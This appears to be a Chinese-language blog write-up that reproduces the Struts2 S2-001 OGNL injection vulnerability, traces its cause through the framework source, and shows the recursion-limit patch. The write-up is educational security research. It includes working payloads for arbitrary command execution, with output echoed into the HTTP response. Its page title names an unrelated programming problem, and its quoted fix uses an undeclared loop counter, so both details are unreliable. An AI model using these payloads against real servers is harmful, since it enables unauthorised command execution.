1. 程式人生 > 其它 >洛谷 P3137 [USACO16FEB]Circular Barn S

洛谷 P3137 [USACO16FEB]Circular Barn S

最近在學習滲透測試的時候,看到大佬分析了Struts2的漏洞,為了更好的理解漏洞原理,對Struts2漏洞做一次復現。

前言

最近在學習滲透測試的時候,看到大佬分析了Struts2的漏洞,為了更好的理解漏洞原理,對Struts2漏洞做一次復現。

漏洞資訊

Struts2 是流行和成熟的基於 MVC 設計模式的 Web 應用程式框架。 Struts2 不只是 Struts1 下一個版本,它是一個完全重寫的 Struts 架構。Struts2 的標籤中使用的是OGNL表示式,OGNL 是 Object Graphic Navigation Language(物件圖導航語言)的縮寫,它是一種功能強大的表示式語言,使用它可以存取物件的任意屬性,呼叫物件的方法,使用 OGNL 表示式的主要作用是簡化訪問物件中的屬性值,但Struts2漏洞就源於OGNL。漏洞資訊可見https://cwiki.apache.org/confluence/display/WW/S2-001

搭建環境

需要的列表:

  • jdk1.8
  • Tomcat
  • Struts2
  • IDEA

jdk1.8、Tomcat和IDEA的安裝網上都有,按照步驟進行配置,比較難的可能是IDEA配置Tomcat的時候,可以參考IDEA的下載安裝及配置Tomcat。在vulhub下載Struts2包,匯入即可。

漏洞利用

  • 簡單的poc:
%{1+1}
  • 彈出計算器
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
  • 任意命令執行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
  • 其中"pwd"可以換成對應的命令,即可執行。

漏洞分析

當一個 HTTP 請求被 Struts2 處理時,會經過一系列的 攔截器 (Interceptor) ,這些攔截器可以是 Struts2 自帶的,也可以是使用者自定義的。例如下圖 struts.xml 中的 package 繼承自 struts-default ,而 struts-default 就使用了 Struts2 自帶的攔截器。

在攔截器棧 defaultStack 中,我們需要關注 params 這個攔截器。

跟進到 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.class

setParameters->stack.setValue->invocation.invoke可以看到,params 攔截器會將客戶端請求資料設定到值棧 (valueStack) 中,後續 JSP 頁面中所有的動態資料都將從值棧中取出。

繼續跟進,到達/com/opensymphony/xwork2/DefaultActionInvocation.class

跟進executeResult(),到達 /com/opensymphony/xwork2/DefaultActionInvocation.class

跟進result.execute(this),到達/org/apache/struts2/dispatcher/StrutsResultSupport.class

跟進doExecute()到達/org/apache/struts2/dispatcher/ServletDispatcherResult.class

執行dispatcher.forward(request, response);後轉到jsp,並交給jsp解析處理。進入/org/apache/struts2/views/jsp/ComponentTagSupport.class解析strutes2中自定義的標籤。

/org/apache/struts2/views/jsp/ComponentTagSupport.class中使用doEndTag()doStartTag()在jsp中自定義需要用到的新標籤,跟進this.component.end();到達/org/apache/struts2/components/UIBean.class

這裡evaluateParams主要初始化全域性變數。跟入evaluateParams,在303左右,expr = "%{" + name + "}"表示expr拼接為一個%{name}

跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue,來到 /org/apache/struts2/components/Component.class

跟入TextParseUtil.translateVariables,進入/com/opensymphony/xwork2/util/TextParseUtil.class

public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

繼續跟入translateVariables,主要問題就在translateVariables這個函式裡,原始碼如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

此時expression%{password}

第一次執行的時候 會取出%{username}的值,即%{1+1}
通過if ((start != -1) && (end != -1) && (count == 0))的判斷,跳過return,到達:

通過Object o = stack.findValue(var, asType);把值賦給 o,此後 o 為%{1+1},再對o進行了一番處理後,payload 經過 result 變數,最終成為expression的值:

在完成後,進入下一個迴圈,第二次迴圈在Object o = stack.findValue(var, asType);中會執行我們構造的OGNL表示式,即對payload的執行。

究其原因,漏洞的成因在於 translateVariables ,translateVariables 遞迴解析了表示式,在處理完%{password}後將password的值直接取出並繼續在while迴圈中解析,若使用者輸入的password是惡意的OGNL表示式,比如%{1+1},則得以解析執行。

漏洞修復

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }
            if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
            }
            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

這裡增加了對OGNL遞迴解析次數的判斷,當解析完一層表示式後,如圖,此時loopCount > maxLoopCount,從而執行break,不再繼續解析%{1+1},預設情況下只會解析第一層:

if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
}

參考文章:
Struts2-命令-程式碼執行漏洞分析系列
S2-001漏洞分析